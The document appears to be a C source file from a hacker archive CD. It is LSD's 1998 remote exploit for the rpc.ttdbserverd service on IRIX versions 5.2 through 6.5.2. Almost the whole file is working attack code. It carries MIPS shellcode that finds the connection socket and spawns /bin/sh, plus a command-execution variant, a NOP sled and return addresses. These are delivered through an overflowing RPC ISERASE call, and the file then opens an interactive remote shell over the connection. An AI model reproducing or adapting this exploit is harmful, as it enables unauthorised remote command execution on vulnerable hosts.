home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_rpc.ttdbserverd.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  7.7 KB  |  209 lines
  1. /*## copyright LAST STAGE OF DELIRIUM jul 1998 poland        *://lsd-pl.net/ #*/
  2. /*## rpc.ttdbserverd                                                         #*/
  3.  
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <rpc/rpc.h>
  8. #include <netdb.h>
  9. #include <stdio.h>
  10. #include <errno.h>
  11.  
  12. #define ADRNUM 2000
  13. #define NOPNUM 18000
  14.  
  15. #define TTDBSERVERD_PROG 100083
  16. #define TTDBSERVERD_VERS 1
  17. #define TTDBSERVERD_ISERASE 7
  18.  
  19. char findsckcode[]=
  20.     "\x04\x10\xff\xff"       /* bltzal  $zero,<findsckcode>  */
  21.     "\x24\x10\x01\x90"       /* li      $s0,400              */
  22.     "\x22\x11\xff\xb0"       /* addi    $s1,$s0,-80          */
  23.     "\x22\x12\xff\xac"       /* addi    $s2,$s0,-84          */
  24.     "\x22\x0d\xfe\x98"       /* addi    $t5,$s0,-360         */
  25.     "\x03\xed\x68\x20"       /* add     $t5,$ra,$t5          */
  26.     "\x01\xa0\xf0\x09"       /* jalr    $s8,$t5              */
  27.  
  28.     "\x8f\xeb\xff\xc0"       /* lw      $t3,-64($ra)         */
  29.     "\x31\x6b\xff\xff"       /* andi    $t3,$t3,0xffff       */
  30.     "\x21\x6b\x00\x00"       /* addi    $t3,$t3,0            */
  31.     "\x22\x0d\xfe\xc0"       /* addi    $t5,$s0,-320         */
  32.     "\x11\x60\xff\xf9"       /* beqz    $t3,<findsckcode+20> */
  33.  
  34.     "\x22\x24\xfe\xd4"       /* addi    $a0,$s1,-300         */
  35.     "\x23\xe5\xff\xc0"       /* addi    $a1,$ra,-64          */
  36.     "\x23\xe6\xff\xbc"       /* addi    $a2,$ra,-68          */
  37.     "\xaf\xf2\xff\xbc"       /* sw      $s2,-68($ra)         */
  38.     "\x24\x02\x04\x45"       /* li      $v0,1093             */
  39.     "\x03\xff\xff\xcc"       /* syscall                      */
  40.     "\x22\x31\xff\xff"       /* addi    $s1,$s1,-1           */
  41.     "\x10\xe0\xff\xf3"       /* beqz    $a3,<findsckcode+28> */
  42.     "\x22\x2b\xfe\xd4"       /* addi    $t3,$s1,-300         */
  43.     "\x1d\x60\xff\xf6"       /* bgzt    $t3,<findsckcode+48> */
  44.  
  45.     "\x22\x04\xfe\x72"       /* addi    $a0,$s0,-398         */
  46.     "\x24\x02\x03\xee"       /* li      $v0,1006             */
  47.     "\x03\xff\xff\xcc"       /* syscall                      */
  48.     "\x22\x24\xfe\xd5"       /* addi    $a0,$s1,-299         */
  49.     "\x22\x05\xfe\x72"       /* addi    $a1,$s0,-398         */
  50.     "\x24\x02\x04\x11"       /* li      $v0,1041             */
  51.     "\x03\xff\xff\xcc"       /* syscall                      */
  52.     "\x22\x10\xff\xff"       /* addi    $s0,$s0,-1           */
  53.     "\x22\x0b\xfe\x72"       /* addi    $t3,$s0,-398         */
  54.     "\x05\x61\xff\xf6"       /* bgez    $t3,<findsckcode+88> */
  55. ;
  56.  
  57. char shellcode[]=
  58.     "\x04\x10\xff\xff"       /* bltzal  $zero,<shellcode>    */
  59.     "\x24\x02\x03\xf3"       /* li      $v0,1011             */
  60.     "\x23\xff\x01\x14"       /* addi    $ra,$ra,276          */
  61.     "\x23\xe4\xff\x08"       /* addi    $a0,$ra,-248         */
  62.     "\x23\xe5\xff\x10"       /* addi    $a1,$ra,-220         */
  63.     "\xaf\xe4\xff\x10"       /* sw      $a0,-220($ra)        */
  64.     "\xaf\xe0\xff\x14"       /* sw      $zero,-236($ra)      */
  65.     "\xa3\xe0\xff\x0f"       /* sb      $zero,-241($ra)      */
  66.     "\x03\xff\xff\xcc"       /* syscall                      */
  67.     "/bin/sh"
  68. ;
  69.  
  70. char cmdshellcode[]=
  71.     "\x04\x10\xff\xff"       /* bltzal  $zero,<cmdshellcode> */
  72.     "\x24\x02\x03\xf3"       /* li      $v0,1011             */
  73.     "\x23\xff\x08\xf4"       /* addi    $ra,$ra,2292         */
  74.     "\x23\xe4\xf7\x40"       /* addi    $a0,$ra,-2240        */
  75.     "\x23\xe5\xfb\x24"       /* addi    $a1,$ra,-1244        */
  76.     "\xaf\xe4\xfb\x24"       /* sw      $a0,-1244($ra)       */
  77.     "\x23\xe6\xf7\x48"       /* addi    $a2,$ra,-2232        */
  78.     "\xaf\xe6\xfb\x28"       /* sw      $a2,-1240($ra)       */
  79.     "\x23\xe6\xf7\x4c"       /* addi    $a2,$ra,-2228        */
  80.     "\xaf\xe6\xfb\x2c"       /* sw      $a2,-1236($ra)       */
  81.     "\xaf\xe0\xfb\x30"       /* sw      $zero,-1232($ra)     */
  82.     "\xa3\xe0\xf7\x47"       /* sb      $zero,-2233($ra)     */
  83.     "\xa3\xe0\xf7\x4a"       /* sb      $zero,-2230($ra)     */
  84.     "\x02\x04\x8d\x0c"       /* syscall                      */
  85.     "\x01\x08\x40\x25"       /* or      $t0,$t0,$t0          */
  86.     "/bin/sh -c  "
  87. ;
  88.  
  89. static char nop[]="\x24\x0f\x12\x34";
  90.  
  91. typedef struct{char *string;}req_t;
  92.  
  93. bool_t xdr_req(XDR *xdrs,req_t *obj){
  94.     if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
  95.     return(TRUE);
  96. }
  97.  
  98. main(int argc,char **argv){
  99.     char buffer[30000],address[4],*b,*cmd;
  100.     int i,c,n,flag=1,vers=6,port=0,sck;
  101.     CLIENT *cl;enum clnt_stat stat;
  102.     struct hostent *hp;
  103.     struct sockaddr_in adr;
  104.     struct timeval tm={10,0};
  105.     req_t req;
  106.  
  107.     printf("copyright LAST STAGE OF DELIRIUM jul 1998 poland  //lsd-pl.net/\n");
  108.     printf("rpc.ttdbserverd for irix 5.2 5.3 6.2 6.3 6.4 6.5 6.5.2 ");
  109.     printf("IP:17,19-22,25-28,30,32\n\n");
  110.  
  111.     if(argc<2){
  112.         printf("usage: %s address [-s|-c command] [-p port] [-v 5]\n",argv[0]);
  113.         exit(-1);
  114.     }
  115.  
  116.     while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
  117.         switch(c){
  118.         case 's': flag=1;break;
  119.         case 'c': flag=0;cmd=optarg;break;
  120.         case 'p': port=atoi(optarg);break;
  121.         case 'v': vers=atoi(optarg);
  122.         }
  123.     }
  124.  
  125.     if(vers==5) *(unsigned long*)address=htonl(0x7fff24f4+2000+9000+32700);
  126.     else *(unsigned long*)address=htonl(0x7fff24f4+2000+9000);
  127.  
  128.     printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
  129.     fflush(stdout);
  130.  
  131.     adr.sin_family=AF_INET;
  132.     adr.sin_port=htons(port);
  133.     if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  134.         if((hp=gethostbyname(argv[1]))==NULL){
  135.             errno=EADDRNOTAVAIL;perror("error");exit(-1);
  136.         }
  137.         memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
  138.     }
  139.  
  140.     sck=RPC_ANYSOCK;
  141.     if(!(cl=clnttcp_create(&adr,TTDBSERVERD_PROG,TTDBSERVERD_VERS,&sck,0,0))){
  142.         clnt_pcreateerror("error");exit(-1);
  143.     }
  144.  
  145.     b=buffer;
  146.     for(i=0;i<ADRNUM;i++) *b++=address[i%4];
  147.     for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
  148.     if(flag){
  149.         i=sizeof(struct sockaddr_in);
  150.         if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
  151.             struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
  152.             struct netbuf nb;
  153.             ioctl(sck,(('S'<<8)|2),"sockmod");
  154.             nb.maxlen=0xffff;
  155.             nb.len=sizeof(struct sockaddr_in);;
  156.             nb.buf=(char*)&adr;
  157.             ioctl(sck,(('T'<<8)|144),&nb);
  158.         }
  159.         n=-ntohs(adr.sin_port);
  160.         printf("port=%d connected! ",-n);fflush(stdout);
  161.  
  162.         findsckcode[36+2]=(unsigned char)((n&0xff00)>>8);
  163.         findsckcode[36+3]=(unsigned char)(n&0xff);
  164.         for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
  165.         for(i=0;i<4;i++) *b++=nop[i%4];
  166.         for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  167.     }else{
  168.         printf("connected! ");fflush(stdout);
  169.         for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
  170.         for(i=0;i<4;i++) *b++=' ';
  171.         for(i=0;i<strlen(cmd);i++) *b++=cmd[i];
  172.     }
  173.     *b++=':';
  174.     *b=0;
  175.  
  176.     req.string=buffer;
  177.     cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
  178.     stat=clnt_call(cl,TTDBSERVERD_ISERASE,xdr_req,&req,xdr_void,NULL,tm);
  179.     printf("sent!\n");
  180.     if(!flag) exit(0);
  181.  
  182.     write(sck,"/bin/uname -a\n",14);
  183.     while(1){
  184.         fd_set fds;
  185.         FD_ZERO(&fds);
  186.         FD_SET(0,&fds);
  187.         FD_SET(sck,&fds);
  188.         if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
  189.             int cnt;
  190.             char buf[1024];
  191.             if(FD_ISSET(0,&fds)){
  192.                 if((cnt=read(0,buf,1024))<1){
  193.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
  194.                     else break;
  195.                 }
  196.                 write(sck,buf,cnt);
  197.             }
  198.             if(FD_ISSET(sck,&fds)){
  199.                 if((cnt=read(sck,buf,1024))<1){
  200.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
  201.                     else break;
  202.                 }
  203.                 write(1,buf,cnt);
  204.             }
  205.         }
  206.     }
  207. }
  208.  
  209.